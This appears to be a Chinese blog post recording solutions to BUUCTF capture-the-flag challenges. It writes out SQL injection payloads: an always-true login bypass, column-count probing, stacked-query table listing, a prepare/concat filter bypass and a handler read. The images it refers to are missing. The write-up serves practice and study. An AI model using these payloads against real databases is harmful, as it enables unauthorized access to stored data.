BUUCTF刷題記錄(更新中…)

  • 2022 年 5 月 21 日
  • 筆記

極客大挑戰 2019]EasySQL-1

  直接通過輸入萬能密碼:』 or 1=1#實現注入:

  

  思考:服務端sql語句應該為:select * from users where username=』xxx』 and password=』xxx』;,但在實際開發中應該更多的是select password from users where username=』xxx』;然後將獲得的密碼與輸入的密碼(可能存在加密)進行比對,因此在實際中此種漏洞應該極少存在。

極客大挑戰 2019]Havefun

  打開靶機之後發現並沒有什麼可以點擊、輸入的信息,所以查看源代碼,得到關鍵信息,然後根據關鍵信息傳輸參數,其示例如下,左側為獲得的flag,右側為查看源代碼獲取的信息:

  

 

[強網杯 2019]隨便注-1

  1、 輸入注入參數,進行簡單的注入嘗試:1 『 or 1=1#,獲得如下數據:

  

  2、 在1的基礎上未發下有用的信息,進行下一步嘗試,來判斷返回的數據量,1』 order by 2;#,1』 order by 3;#,結果如下:

  

  3、嘗試獲取數據庫的相關信息,通過:』; show tables;#獲得表的信息,示例如下:

  

  4、通過1′; show columns from words;#、1′; show columns from `1919810931114514`;#查看兩個表內的內容,後面加「`「是因為數據庫在以數字作為表的名字的時候需要加上這個符號,屬於數據庫特性問題,結果如下:

  

  5、此時嘗試進行聯合查詢獲取表內的數據,語句為:』 union select flag from `1919810931114514`;#,發現關鍵詞被過濾了,如下:

  

  6、關鍵詞被過濾就進行繞過,此時應該思考該如何繞過這些關鍵詞來獲取目標數據,通過sql的concat來進行sql語句的拼接,語句為:1′;prepare st from concat(‘s’,’elect’, ‘ * from `1919810931114514` ‘);EXECUTE st;#,結果如下:

  

  補充:在網上看到了另外兩種解題方式,第一種是通過修改數據庫的名稱和列名,使其在讀取數據的時候從我們需要的數據庫進行讀取。第二種是通過’;handler `1919810931114514` open;handler `1919810931114514` read first#進行讀取,這種方式更為簡便。